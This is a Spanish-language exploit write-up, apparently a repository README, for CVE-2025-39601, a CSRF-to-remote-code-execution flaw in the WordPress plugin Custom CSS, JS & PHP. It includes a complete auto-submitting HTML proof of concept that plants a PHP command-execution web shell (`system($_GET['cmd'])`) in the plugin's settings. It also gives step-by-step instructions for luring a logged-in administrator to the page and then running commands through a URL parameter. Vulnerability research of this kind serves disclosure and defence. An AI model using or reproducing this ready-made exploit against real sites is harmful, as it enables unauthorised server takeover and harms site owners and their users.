🚨 CVE-2025-39601 - CSRF a RCE en el plugin Custom CSS, JS & PHP de WordPress <= 2.4.1

🧠 Descripción

Una vulnerabilidad de Cross-Site Request Forgery (CSRF) en el plugin WPFactory Custom CSS, JS & PHP permite la ejecución remota de código (RCE) mediante la inyección de código PHP malicioso a través de solicitudes POST no autorizadas.
Esto afecta a todas las versiones hasta la 2.4.1 inclusive.

CVE ID: CVE-2025-39601
Publicado: 2025-04-16
Actualizado: 2025-04-16
Gravedad: 🔥 9.6 (CRÍTICA)
CWE: CWE-352 - Falsificación de solicitudes entre sitios
Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

🖼️ Prueba visual

A continuación se muestra una captura de pantalla con el resultado de una explotación exitosa, demostrando cómo se puede ejecutar código remoto mediante el parámetro de la URL:

Nxploited

💥 Prueba de concepto (PoC)

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability</title>
</head>
<body onload="document.forms[0].submit()">
    <h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1</h1>
    <p>By : Nxploited | Khaled Alenazi</p>
    <form action="http://192.168.100.74:888/wordpress4/wp-admin/tools.php?page=alg-custom-php" method="POST">
        <input type="hidden" name="alg_custom_css_php_enabled" value="1">
        <input type="hidden" name="alg_custom_css_php_execute" value="plugins_loaded">
        <input type="hidden" name="alg_custom_css_php" value="<?php system($_GET['cmd']); ?>">
        <input type="hidden" name="alg_ccjp_submit" value="php">
        <noscript><input type="submit" value="Submit"></noscript>
    </form>
</body>
</html>

🧪 Uso

Aloja el archivo HTML anterior en cualquier servidor externo o entorno local.
Mientras un usuario administrador haya iniciado sesión, visita el archivo HTML alojado en su navegador.
Esto enviará silenciosamente el formulario e inyectará código PHP en los ajustes del plugin.
El código se ejecuta automáticamente en cada carga de página mediante el hook plugins_loaded.
Ejemplo de ejecución:
```
http://target-site.com/?cmd=whoami
```

⚠️ Descargo de responsabilidad

Este PoC es solo con fines educativos.
El autor no se hace responsable de ningún uso indebido o daño causado por la aplicación inadecuada de esta información.
Prueba siempre en entornos controlados y con permiso.

Por: Nxploited | Khaled Alenazi

CVE-2025-39601